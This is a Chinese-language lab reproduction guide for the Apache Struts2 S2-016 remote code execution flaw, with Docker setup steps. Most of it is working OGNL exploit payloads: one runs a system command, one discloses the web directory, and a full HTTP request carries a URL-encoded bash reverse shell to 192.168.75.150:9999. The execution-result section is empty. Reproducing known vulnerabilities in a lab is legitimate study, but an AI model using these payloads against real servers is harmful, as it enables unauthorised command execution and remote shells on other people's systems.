S2-016 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.15

漏洞详情:

• http://struts.apache.org/docs/s2-016.html
• http://www.freebuf.com/articles/web/25337.html

测试环境搭建

docker-compose build
docker-compose up -d

漏洞复现

在struts2中，DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。

所以，访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。

执行命令（需要URL编码）：

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

获取web目录：

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

反弹Shell：

GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22%2Fbin%2Fbash%20-c%20bash%24IFS%249-i%3E%26%2Fdev%2Ftcp%2F192.168.75.150%2F9999%3C%261%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: 192.168.75.130:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=39D5E32A17268DBCC5A72A2AA1F83ED7
Upgrade-Insecure-Requests: 1

执行结果：

注：

用到的URL编码工具